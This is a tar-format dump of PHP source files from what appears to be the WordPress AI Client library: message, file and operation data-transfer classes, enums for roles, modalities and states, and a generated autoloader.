public static function getJsonSchema(): array
{
return ['type' => 'object', 'oneOf' => [['properties' => [self::KEY_FILE_TYPE => ['type' => 'string', 'const' => FileTypeEnum::REMOTE, 'description' => 'The file type.'], self::KEY_MIME_TYPE => ['type' => 'string', 'description' => 'The MIME type of the file.', 'pattern' => '^[a-zA-Z0-9][a-zA-Z0-9!#$&\-\^_+.]*\/[a-zA-Z0-9]' . '[a-zA-Z0-9!#$&\-\^_+.]*$'], self::KEY_URL => ['type' => 'string', 'format' => 'uri', 'description' => 'The URL to the remote file.']], 'required' => [self::KEY_FILE_TYPE, self::KEY_MIME_TYPE, self::KEY_URL]], ['properties' => [self::KEY_FILE_TYPE => ['type' => 'string', 'const' => FileTypeEnum::INLINE, 'description' => 'The file type.'], self::KEY_MIME_TYPE => ['type' => 'string', 'description' => 'The MIME type of the file.', 'pattern' => '^[a-zA-Z0-9][a-zA-Z0-9!#$&\-\^_+.]*\/[a-zA-Z0-9]' . '[a-zA-Z0-9!#$&\-\^_+.]*$'], self::KEY_BASE64_DATA => ['type' => 'string', 'description' => 'The base64-encoded file data.']], 'required' => [self::KEY_FILE_TYPE, self::KEY_MIME_TYPE, self::KEY_BASE64_DATA]]]];
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*
* @return FileArrayShape
*/
public function toArray(): array
{
$data = [self::KEY_FILE_TYPE => $this->fileType->value, self::KEY_MIME_TYPE => $this->getMimeType()];
if ($this->url !== null) {
$data[self::KEY_URL] = $this->url;
} elseif (!$this->fileType->isRemote() && $this->base64Data !== null) {
$data[self::KEY_BASE64_DATA] = $this->base64Data;
} else {
throw new RuntimeException('File requires either url or base64Data. This should not be a possible condition.');
}
return $data;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function fromArray(array $array): self
{
static::validateFromArrayData($array, [self::KEY_FILE_TYPE]);
// Check which properties are set to determine how to construct the File
$mimeType = $array[self::KEY_MIME_TYPE] ?? null;
if (isset($array[self::KEY_URL])) {
return new self($array[self::KEY_URL], $mimeType);
} elseif (isset($array[self::KEY_BASE64_DATA])) {
return new self($array[self::KEY_BASE64_DATA], $mimeType);
} else {
throw new InvalidArgumentException('File requires either url or base64Data.');
}
}
/**
* Performs a deep clone of the file.
*
* This method ensures that the MimeType value object is cloned to prevent
* any shared references between the original and cloned file.
*
* @since 0.4.2
*/
public function __clone()
{
$this->mimeType = clone $this->mimeType;
}
}
src/Messages/Enums/MessagePartTypeEnum.php 0000644 00000002171 15220530455 0014606 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Messages\Enums;
use WordPress\AiClient\Common\AbstractEnum;
/**
* Enum for message part types.
*
* @since 0.1.0
*
* @method static self text() Creates an instance for TEXT type.
* @method static self file() Creates an instance for FILE type.
* @method static self functionCall() Creates an instance for FUNCTION_CALL type.
* @method static self functionResponse() Creates an instance for FUNCTION_RESPONSE type.
* @method bool isText() Checks if the type is TEXT.
* @method bool isFile() Checks if the type is FILE.
* @method bool isFunctionCall() Checks if the type is FUNCTION_CALL.
* @method bool isFunctionResponse() Checks if the type is FUNCTION_RESPONSE.
*/
class MessagePartTypeEnum extends AbstractEnum
{
/**
* Text content.
*/
public const TEXT = 'text';
/**
* File content (inline or remote).
*/
public const FILE = 'file';
/**
* Function call request.
*/
public const FUNCTION_CALL = 'function_call';
/**
* Function response.
*/
public const FUNCTION_RESPONSE = 'function_response';
}
src/Messages/Enums/ModalityEnum.php 0000644 00000002407 15220530455 0013315 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Messages\Enums;
use WordPress\AiClient\Common\AbstractEnum;
/**
* Enum for input/output modalities.
*
* @since 0.1.0
*
* @method static self text() Creates an instance for TEXT modality.
* @method static self document() Creates an instance for DOCUMENT modality.
* @method static self image() Creates an instance for IMAGE modality.
* @method static self audio() Creates an instance for AUDIO modality.
* @method static self video() Creates an instance for VIDEO modality.
* @method bool isText() Checks if the modality is TEXT.
* @method bool isDocument() Checks if the modality is DOCUMENT.
* @method bool isImage() Checks if the modality is IMAGE.
* @method bool isAudio() Checks if the modality is AUDIO.
* @method bool isVideo() Checks if the modality is VIDEO.
*/
class ModalityEnum extends AbstractEnum
{
/**
* Text modality.
*/
public const TEXT = 'text';
/**
* Document modality (PDFs, Word docs, etc.).
*/
public const DOCUMENT = 'document';
/**
* Image modality.
*/
public const IMAGE = 'image';
/**
* Audio modality.
*/
public const AUDIO = 'audio';
/**
* Video modality.
*/
public const VIDEO = 'video';
}
src/Messages/Enums/MessagePartChannelEnum.php 0000644 00000001264 15220530455 0015237 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Messages\Enums;
use WordPress\AiClient\Common\AbstractEnum;
/**
* Enum for message part channels.
*
* @since 0.1.0
*
* @method static self content() Creates an instance for CONTENT channel.
* @method static self thought() Creates an instance for THOUGHT channel.
* @method bool isContent() Checks if the channel is CONTENT.
* @method bool isThought() Checks if the channel is THOUGHT.
*/
class MessagePartChannelEnum extends AbstractEnum
{
/**
* Regular (primary) content.
*/
public const CONTENT = 'content';
/**
* Model thinking or reasoning.
*/
public const THOUGHT = 'thought';
}
src/Messages/Enums/MessageRoleEnum.php 0000644 00000001244 15220530455 0013737 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Messages\Enums;
use WordPress\AiClient\Common\AbstractEnum;
/**
* Enum for message roles in AI conversations.
*
* @since 0.1.0
*
* @method static self user() Creates an instance for USER role.
* @method static self model() Creates an instance for MODEL role.
* @method bool isUser() Checks if the role is USER.
* @method bool isModel() Checks if the role is MODEL.
*/
class MessageRoleEnum extends AbstractEnum
{
/**
* User role - messages from the user.
*/
public const USER = 'user';
/**
* Model role - messages from the AI model.
*/
public const MODEL = 'model';
}
src/Messages/DTO/ModelMessage.php 0000644 00000001544 15220530455 0012613 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Messages\DTO;
use WordPress\AiClient\Messages\Enums\MessageRoleEnum;
/**
* Represents a message from the AI model.
*
* This is a convenience class that automatically sets the role to MODEL.
* Model messages contain the AI's responses.
*
* Important: Do not rely on `instanceof ModelMessage` to determine the message role.
* This is merely a helper class for construction. Always use `$message->getRole()`
* to check the role of a message.
*
* @since 0.1.0
*/
class ModelMessage extends \WordPress\AiClient\Messages\DTO\Message
{
/**
* Constructor.
*
* @since 0.1.0
*
* @param MessagePart[] $parts The parts that make up this message.
*/
public function __construct(array $parts)
{
parent::__construct(MessageRoleEnum::model(), $parts);
}
}
src/Messages/DTO/Message.php 0000644 00000013044 15220530455 0011630 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Messages\DTO;
use WordPress\AiClient\Common\AbstractDataTransferObject;
use WordPress\AiClient\Common\Exception\InvalidArgumentException;
use WordPress\AiClient\Messages\Enums\MessageRoleEnum;
/**
* Represents a message in an AI conversation.
*
* Messages are the fundamental unit of communication with AI models,
* containing a role and one or more parts with different content types.
*
* @since 0.1.0
*
* @phpstan-import-type MessagePartArrayShape from MessagePart
*
* @phpstan-type MessageArrayShape array{
* role: string,
* parts: array<MessagePartArrayShape>
* }
*
* @extends AbstractDataTransferObject<MessageArrayShape>
*/
class Message extends AbstractDataTransferObject
{
public const KEY_ROLE = 'role';
public const KEY_PARTS = 'parts';
/**
* @var MessageRoleEnum The role of the message sender.
*/
protected MessageRoleEnum $role;
/**
* @var MessagePart[] The parts that make up this message.
*/
protected array $parts;
/**
* Constructor.
*
* @since 0.1.0
*
* @param MessageRoleEnum $role The role of the message sender.
* @param MessagePart[] $parts The parts that make up this message.
* @throws InvalidArgumentException If parts contain invalid content for the role.
*/
public function __construct(MessageRoleEnum $role, array $parts)
{
$this->role = $role;
$this->parts = $parts;
$this->validateParts();
}
/**
* Gets the role of the message sender.
*
* @since 0.1.0
*
* @return MessageRoleEnum The role.
*/
public function getRole(): MessageRoleEnum
{
return $this->role;
}
/**
* Gets the message parts.
*
* @since 0.1.0
*
* @return MessagePart[] The message parts.
*/
public function getParts(): array
{
return $this->parts;
}
/**
* Returns a new instance with the given part appended.
*
* @since 0.1.0
*
* @param MessagePart $part The part to append.
* @return Message A new instance with the part appended.
* @throws InvalidArgumentException If the part is invalid for the role.
*/
public function withPart(\WordPress\AiClient\Messages\DTO\MessagePart $part): \WordPress\AiClient\Messages\DTO\Message
{
$newParts = $this->parts;
$newParts[] = $part;
return new \WordPress\AiClient\Messages\DTO\Message($this->role, $newParts);
}
/**
* Validates that the message parts are appropriate for the message role.
*
* @since 0.1.0
*
* @return void
* @throws InvalidArgumentException If validation fails.
*/
private function validateParts(): void
{
foreach ($this->parts as $part) {
$type = $part->getType();
if ($this->role->isUser() && $type->isFunctionCall()) {
throw new InvalidArgumentException('User messages cannot contain function calls.');
}
if ($this->role->isModel() && $type->isFunctionResponse()) {
throw new InvalidArgumentException('Model messages cannot contain function responses.');
}
}
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function getJsonSchema(): array
{
return ['type' => 'object', 'properties' => [self::KEY_ROLE => ['type' => 'string', 'enum' => MessageRoleEnum::getValues(), 'description' => 'The role of the message sender.'], self::KEY_PARTS => ['type' => 'array', 'items' => \WordPress\AiClient\Messages\DTO\MessagePart::getJsonSchema(), 'minItems' => 1, 'description' => 'The parts that make up this message.']], 'required' => [self::KEY_ROLE, self::KEY_PARTS]];
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*
* @return MessageArrayShape
*/
public function toArray(): array
{
return [self::KEY_ROLE => $this->role->value, self::KEY_PARTS => array_map(function (\WordPress\AiClient\Messages\DTO\MessagePart $part) {
return $part->toArray();
}, $this->parts)];
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*
* @return self The specific message class based on the role.
*/
final public static function fromArray(array $array): self
{
static::validateFromArrayData($array, [self::KEY_ROLE, self::KEY_PARTS]);
$role = MessageRoleEnum::from($array[self::KEY_ROLE]);
$partsData = $array[self::KEY_PARTS];
$parts = array_map(function (array $partData) {
return \WordPress\AiClient\Messages\DTO\MessagePart::fromArray($partData);
}, $partsData);
// Determine which concrete class to instantiate based on role
if ($role->isUser()) {
return new \WordPress\AiClient\Messages\DTO\UserMessage($parts);
} elseif ($role->isModel()) {
return new \WordPress\AiClient\Messages\DTO\ModelMessage($parts);
} else {
// Only USER and MODEL roles are supported
throw new InvalidArgumentException('Invalid message role: ' . $role->value);
}
}
/**
* Performs a deep clone of the message.
*
* This method ensures that message part objects are cloned to prevent
* modifications to the cloned message from affecting the original.
*
* @since 0.4.2
*/
public function __clone()
{
$clonedParts = [];
foreach ($this->parts as $part) {
$clonedParts[] = clone $part;
}
$this->parts = $clonedParts;
}
}
src/Messages/DTO/MessagePart.php 0000644 00000025055 15220530455 0012464 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Messages\DTO;
use WordPress\AiClient\Common\AbstractDataTransferObject;
use WordPress\AiClient\Common\Exception\InvalidArgumentException;
use WordPress\AiClient\Common\Exception\RuntimeException;
use WordPress\AiClient\Files\DTO\File;
use WordPress\AiClient\Messages\Enums\MessagePartChannelEnum;
use WordPress\AiClient\Messages\Enums\MessagePartTypeEnum;
use WordPress\AiClient\Tools\DTO\FunctionCall;
use WordPress\AiClient\Tools\DTO\FunctionResponse;
/**
* Represents a part of a message.
*
* Messages can contain multiple parts of different types, such as text, files,
* function calls, etc. This DTO encapsulates one such part.
*
* @since 0.1.0
*
* @phpstan-import-type FileArrayShape from File
* @phpstan-import-type FunctionCallArrayShape from FunctionCall
* @phpstan-import-type FunctionResponseArrayShape from FunctionResponse
*
* @phpstan-type MessagePartArrayShape array{
* channel: string,
* type: string,
* thoughtSignature?: string,
* text?: string,
* file?: FileArrayShape,
* functionCall?: FunctionCallArrayShape,
* functionResponse?: FunctionResponseArrayShape
* }
*
* @extends AbstractDataTransferObject<MessagePartArrayShape>
*/
class MessagePart extends AbstractDataTransferObject
{
public const KEY_CHANNEL = 'channel';
public const KEY_TYPE = 'type';
public const KEY_THOUGHT_SIGNATURE = 'thoughtSignature';
public const KEY_TEXT = 'text';
public const KEY_FILE = 'file';
public const KEY_FUNCTION_CALL = 'functionCall';
public const KEY_FUNCTION_RESPONSE = 'functionResponse';
/**
* @var MessagePartChannelEnum The channel this message part belongs to.
*/
private MessagePartChannelEnum $channel;
/**
* @var MessagePartTypeEnum The type of this message part.
*/
private MessagePartTypeEnum $type;
/**
* @var string|null Thought signature for extended thinking.
*/
private ?string $thoughtSignature = null;
/**
* @var string|null Text content (when type is TEXT).
*/
private ?string $text = null;
/**
* @var File|null File data (when type is FILE).
*/
private ?File $file = null;
/**
* @var FunctionCall|null Function call request (when type is FUNCTION_CALL).
*/
private ?FunctionCall $functionCall = null;
/**
* @var FunctionResponse|null Function response (when type is FUNCTION_RESPONSE).
*/
private ?FunctionResponse $functionResponse = null;
/**
* Constructor that accepts various content types and infers the message part type.
*
* @since 0.1.0
*
* @param mixed $content The content of this message part.
* @param MessagePartChannelEnum|null $channel The channel this part belongs to. Defaults to CONTENT.
* @param string|null $thoughtSignature Optional thought signature for extended thinking.
* @throws InvalidArgumentException If an unsupported content type is provided.
*/
public function __construct($content, ?MessagePartChannelEnum $channel = null, ?string $thoughtSignature = null)
{
$this->channel = $channel ?? MessagePartChannelEnum::content();
$this->thoughtSignature = $thoughtSignature;
if (is_string($content)) {
$this->type = MessagePartTypeEnum::text();
$this->text = $content;
} elseif ($content instanceof File) {
$this->type = MessagePartTypeEnum::file();
$this->file = $content;
} elseif ($content instanceof FunctionCall) {
$this->type = MessagePartTypeEnum::functionCall();
$this->functionCall = $content;
} elseif ($content instanceof FunctionResponse) {
$this->type = MessagePartTypeEnum::functionResponse();
$this->functionResponse = $content;
} else {
$type = is_object($content) ? get_class($content) : gettype($content);
throw new InvalidArgumentException(sprintf('Unsupported content type %s. Expected string, File, ' . 'FunctionCall, or FunctionResponse.', $type));
}
}
/**
* Gets the channel this message part belongs to.
*
* @since 0.1.0
*
* @return MessagePartChannelEnum The channel.
*/
public function getChannel(): MessagePartChannelEnum
{
return $this->channel;
}
/**
* Gets the type of this message part.
*
* @since 0.1.0
*
* @return MessagePartTypeEnum The type.
*/
public function getType(): MessagePartTypeEnum
{
return $this->type;
}
/**
* Gets the thought signature.
*
* @since 1.3.0
*
* @return string|null The thought signature or null if not set.
*/
public function getThoughtSignature(): ?string
{
return $this->thoughtSignature;
}
/**
* Gets the text content.
*
* @since 0.1.0
*
* @return string|null The text content or null if not a text part.
*/
public function getText(): ?string
{
return $this->text;
}
/**
* Gets the file.
*
* @since 0.1.0
*
* @return File|null The file or null if not a file part.
*/
public function getFile(): ?File
{
return $this->file;
}
/**
* Gets the function call.
*
* @since 0.1.0
*
* @return FunctionCall|null The function call or null if not a function call part.
*/
public function getFunctionCall(): ?FunctionCall
{
return $this->functionCall;
}
/**
* Gets the function response.
*
* @since 0.1.0
*
* @return FunctionResponse|null The function response or null if not a function response part.
*/
public function getFunctionResponse(): ?FunctionResponse
{
return $this->functionResponse;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function getJsonSchema(): array
{
$channelSchema = ['type' => 'string', 'enum' => MessagePartChannelEnum::getValues(), 'description' => 'The channel this message part belongs to.'];
$thoughtSignatureSchema = ['type' => 'string', 'description' => 'Thought signature for extended thinking.'];
return ['oneOf' => [['type' => 'object', 'properties' => [self::KEY_CHANNEL => $channelSchema, self::KEY_TYPE => ['type' => 'string', 'const' => MessagePartTypeEnum::text()->value], self::KEY_TEXT => ['type' => 'string', 'description' => 'Text content.'], self::KEY_THOUGHT_SIGNATURE => $thoughtSignatureSchema], 'required' => [self::KEY_TYPE, self::KEY_TEXT], 'additionalProperties' => \false], ['type' => 'object', 'properties' => [self::KEY_CHANNEL => $channelSchema, self::KEY_TYPE => ['type' => 'string', 'const' => MessagePartTypeEnum::file()->value], self::KEY_FILE => File::getJsonSchema(), self::KEY_THOUGHT_SIGNATURE => $thoughtSignatureSchema], 'required' => [self::KEY_TYPE, self::KEY_FILE], 'additionalProperties' => \false], ['type' => 'object', 'properties' => [self::KEY_CHANNEL => $channelSchema, self::KEY_TYPE => ['type' => 'string', 'const' => MessagePartTypeEnum::functionCall()->value], self::KEY_FUNCTION_CALL => FunctionCall::getJsonSchema(), self::KEY_THOUGHT_SIGNATURE => $thoughtSignatureSchema], 'required' => [self::KEY_TYPE, self::KEY_FUNCTION_CALL], 'additionalProperties' => \false], ['type' => 'object', 'properties' => [self::KEY_CHANNEL => $channelSchema, self::KEY_TYPE => ['type' => 'string', 'const' => MessagePartTypeEnum::functionResponse()->value], self::KEY_FUNCTION_RESPONSE => FunctionResponse::getJsonSchema(), self::KEY_THOUGHT_SIGNATURE => $thoughtSignatureSchema], 'required' => [self::KEY_TYPE, self::KEY_FUNCTION_RESPONSE], 'additionalProperties' => \false]]];
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*
* @return MessagePartArrayShape
*/
public function toArray(): array
{
$data = [self::KEY_CHANNEL => $this->channel->value, self::KEY_TYPE => $this->type->value];
if ($this->text !== null) {
$data[self::KEY_TEXT] = $this->text;
} elseif ($this->file !== null) {
$data[self::KEY_FILE] = $this->file->toArray();
} elseif ($this->functionCall !== null) {
$data[self::KEY_FUNCTION_CALL] = $this->functionCall->toArray();
} elseif ($this->functionResponse !== null) {
$data[self::KEY_FUNCTION_RESPONSE] = $this->functionResponse->toArray();
} else {
throw new RuntimeException('MessagePart requires one of: text, file, functionCall, or functionResponse. ' . 'This should not be a possible condition.');
}
if ($this->thoughtSignature !== null) {
$data[self::KEY_THOUGHT_SIGNATURE] = $this->thoughtSignature;
}
return $data;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function fromArray(array $array): self
{
if (isset($array[self::KEY_CHANNEL])) {
$channel = MessagePartChannelEnum::from($array[self::KEY_CHANNEL]);
} else {
$channel = null;
}
$thoughtSignature = $array[self::KEY_THOUGHT_SIGNATURE] ?? null;
// Check which properties are set to determine how to construct the MessagePart
if (isset($array[self::KEY_TEXT])) {
return new self($array[self::KEY_TEXT], $channel, $thoughtSignature);
} elseif (isset($array[self::KEY_FILE])) {
return new self(File::fromArray($array[self::KEY_FILE]), $channel, $thoughtSignature);
} elseif (isset($array[self::KEY_FUNCTION_CALL])) {
return new self(FunctionCall::fromArray($array[self::KEY_FUNCTION_CALL]), $channel, $thoughtSignature);
} elseif (isset($array[self::KEY_FUNCTION_RESPONSE])) {
return new self(FunctionResponse::fromArray($array[self::KEY_FUNCTION_RESPONSE]), $channel, $thoughtSignature);
} else {
throw new InvalidArgumentException('MessagePart requires one of: text, file, functionCall, or functionResponse.');
}
}
/**
* Performs a deep clone of the message part.
*
* This method ensures that nested objects (file, function call, function response)
* are cloned to prevent modifications to the cloned part from affecting the original.
*
* @since 0.4.2
*/
public function __clone()
{
if ($this->file !== null) {
$this->file = clone $this->file;
}
if ($this->functionCall !== null) {
$this->functionCall = clone $this->functionCall;
}
if ($this->functionResponse !== null) {
$this->functionResponse = clone $this->functionResponse;
}
}
}
src/Messages/DTO/UserMessage.php 0000644 00000001454 15220530455 0012471 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Messages\DTO;
use WordPress\AiClient\Messages\Enums\MessageRoleEnum;
/**
* Represents a message from a user.
*
* This is a convenience class that automatically sets the role to USER.
*
* Important: Do not rely on `instanceof UserMessage` to determine the message role.
* This is merely a helper class for construction. Always use `$message->getRole()`
* to check the role of a message.
*
* @since 0.1.0
*/
class UserMessage extends \WordPress\AiClient\Messages\DTO\Message
{
/**
* Constructor.
*
* @since 0.1.0
*
* @param MessagePart[] $parts The parts that make up this message.
*/
public function __construct(array $parts)
{
parent::__construct(MessageRoleEnum::user(), $parts);
}
}
src/Operations/DTO/GenerativeAiOperation.php 0000644 00000012132 15220530455 0015041 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Operations\DTO;
use WordPress\AiClient\Common\AbstractDataTransferObject;
use WordPress\AiClient\Operations\Contracts\OperationInterface;
use WordPress\AiClient\Operations\Enums\OperationStateEnum;
use WordPress\AiClient\Results\DTO\GenerativeAiResult;
/**
* Represents a long-running generative AI operation.
*
* This DTO tracks the progress of generative AI tasks that may not complete
* immediately, providing access to the result once available.
*
* @since 0.1.0
*
* @phpstan-import-type GenerativeAiResultArrayShape from GenerativeAiResult
*
* @phpstan-type GenerativeAiOperationArrayShape array{id: string, state: string, result?: GenerativeAiResultArrayShape}
*
* @extends AbstractDataTransferObject<GenerativeAiOperationArrayShape>
*/
class GenerativeAiOperation extends AbstractDataTransferObject implements OperationInterface
{
public const KEY_ID = 'id';
public const KEY_STATE = 'state';
public const KEY_RESULT = 'result';
/**
* @var string Unique identifier for this operation.
*/
private string $id;
/**
* @var OperationStateEnum The current state of the operation.
*/
private OperationStateEnum $state;
/**
* @var GenerativeAiResult|null The result once the operation completes.
*/
private ?GenerativeAiResult $result;
/**
* Constructor.
*
* @since 0.1.0
*
* @param string $id Unique identifier for this operation.
* @param OperationStateEnum $state The current state of the operation.
* @param GenerativeAiResult|null $result The result once the operation completes.
*/
public function __construct(string $id, OperationStateEnum $state, ?GenerativeAiResult $result = null)
{
$this->id = $id;
$this->state = $state;
$this->result = $result;
}
/**
* Creates a deep clone of this operation.
*
* Clones the result object if present to ensure the cloned
* operation is independent of the original.
* The state enum is immutable and can be safely shared.
*
* @since 0.4.2
*/
public function __clone()
{
// Clone the result if present (GenerativeAiResult has __clone)
if ($this->result !== null) {
$this->result = clone $this->result;
}
// Note: $state is an immutable enum and can be safely shared
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public function getId(): string
{
return $this->id;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public function getState(): OperationStateEnum
{
return $this->state;
}
/**
* Gets the operation result.
*
* @since 0.1.0
*
* @return GenerativeAiResult|null The result or null if not yet complete.
*/
public function getResult(): ?GenerativeAiResult
{
return $this->result;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function getJsonSchema(): array
{
return ['oneOf' => [
// Succeeded state - has result
['type' => 'object', 'properties' => [self::KEY_ID => ['type' => 'string', 'description' => 'Unique identifier for this operation.'], self::KEY_STATE => ['type' => 'string', 'const' => OperationStateEnum::succeeded()->value], self::KEY_RESULT => GenerativeAiResult::getJsonSchema()], 'required' => [self::KEY_ID, self::KEY_STATE, self::KEY_RESULT], 'additionalProperties' => \false],
// All other states - no result
['type' => 'object', 'properties' => [self::KEY_ID => ['type' => 'string', 'description' => 'Unique identifier for this operation.'], self::KEY_STATE => ['type' => 'string', 'enum' => [OperationStateEnum::starting()->value, OperationStateEnum::processing()->value, OperationStateEnum::failed()->value, OperationStateEnum::canceled()->value], 'description' => 'The current state of the operation.']], 'required' => [self::KEY_ID, self::KEY_STATE], 'additionalProperties' => \false],
]];
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*
* @return GenerativeAiOperationArrayShape
*/
public function toArray(): array
{
$data = [self::KEY_ID => $this->id, self::KEY_STATE => $this->state->value];
if ($this->result !== null) {
$data[self::KEY_RESULT] = $this->result->toArray();
}
return $data;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function fromArray(array $array): self
{
static::validateFromArrayData($array, [self::KEY_ID, self::KEY_STATE]);
$state = OperationStateEnum::from($array[self::KEY_STATE]);
if ($state->isSucceeded()) {
// If the operation has succeeded, it must have a result
static::validateFromArrayData($array, [self::KEY_RESULT]);
}
$result = null;
if (isset($array[self::KEY_RESULT])) {
$result = GenerativeAiResult::fromArray($array[self::KEY_RESULT]);
}
return new self($array[self::KEY_ID], $state, $result);
}
}
src/Operations/Enums/OperationStateEnum.php 0000644 00000002503 15220530455 0015045 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Operations\Enums;
use WordPress\AiClient\Common\AbstractEnum;
/**
* Enum for operation states.
*
* @since 0.1.0
*
* @method static self starting() Creates an instance for STARTING state.
* @method static self processing() Creates an instance for PROCESSING state.
* @method static self succeeded() Creates an instance for SUCCEEDED state.
* @method static self failed() Creates an instance for FAILED state.
* @method static self canceled() Creates an instance for CANCELED state.
* @method bool isStarting() Checks if the state is STARTING.
* @method bool isProcessing() Checks if the state is PROCESSING.
* @method bool isSucceeded() Checks if the state is SUCCEEDED.
* @method bool isFailed() Checks if the state is FAILED.
* @method bool isCanceled() Checks if the state is CANCELED.
*/
class OperationStateEnum extends AbstractEnum
{
/**
* Operation is starting.
*/
public const STARTING = 'starting';
/**
* Operation is processing.
*/
public const PROCESSING = 'processing';
/**
* Operation succeeded.
*/
public const SUCCEEDED = 'succeeded';
/**
* Operation failed.
*/
public const FAILED = 'failed';
/**
* Operation was canceled.
*/
public const CANCELED = 'canceled';
}
src/Operations/Contracts/OperationInterface.php 0000644 00000001413 15220530455 0015710 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Operations\Contracts;
use WordPress\AiClient\Operations\Enums\OperationStateEnum;
/**
* Interface for AI operations.
*
* Operations represent long-running AI tasks that may not complete immediately.
* They provide a way to track the progress and retrieve results asynchronously.
*
* @since 0.1.0
*/
interface OperationInterface
{
/**
* Gets the operation ID.
*
* @since 0.1.0
*
* @return string The unique operation identifier.
*/
public function getId(): string;
/**
* Gets the current state of the operation.
*
* @since 0.1.0
*
* @return OperationStateEnum The operation state.
*/
public function getState(): OperationStateEnum;
}
autoload.php 0000644 00000002602 15220530455 0007066 0 ustar 00 <?php
/**
* Autoloader for the bundled PHP AI Client library.
*
* This file is generated by tools/php-ai-client/installer.sh.
* Do not edit directly.
*
* @package WordPress
* @subpackage AI
* @since 7.0.0
*/
spl_autoload_register(
static function ( $class_name ) {
// Namespace prefix for the AI client.
$client_prefix = 'WordPress\\AiClient\\';
$client_prefix_len = 19; // strlen( 'WordPress\\AiClient\\' )
// Namespace prefix for scoped dependencies (includes Psr\*, Http\*, etc.).
$scoped_prefix = 'WordPress\\AiClientDependencies\\';
$scoped_prefix_len = 31; // strlen( 'WordPress\\AiClientDependencies\\' )
$base_dir = __DIR__;
// 1. WordPress\AiClient\* → src/
if ( 0 === strncmp( $class_name, $client_prefix, $client_prefix_len ) ) {
$relative_class = substr( $class_name, $client_prefix_len );
$file = $base_dir . '/src/' . str_replace( '\\', '/', $relative_class ) . '.php';
if ( file_exists( $file ) ) {
require $file;
}
return;
}
// 2. WordPress\AiClientDependencies\* → third-party/ (strip prefix).
if ( 0 === strncmp( $class_name, $scoped_prefix, $scoped_prefix_len ) ) {
$relative_class = substr( $class_name, $scoped_prefix_len );
$file = $base_dir . '/third-party/' . str_replace( '\\', '/', $relative_class ) . '.php';
if ( file_exists( $file ) ) {
require $file;
}
return;
}
}
);
Disabled functions: None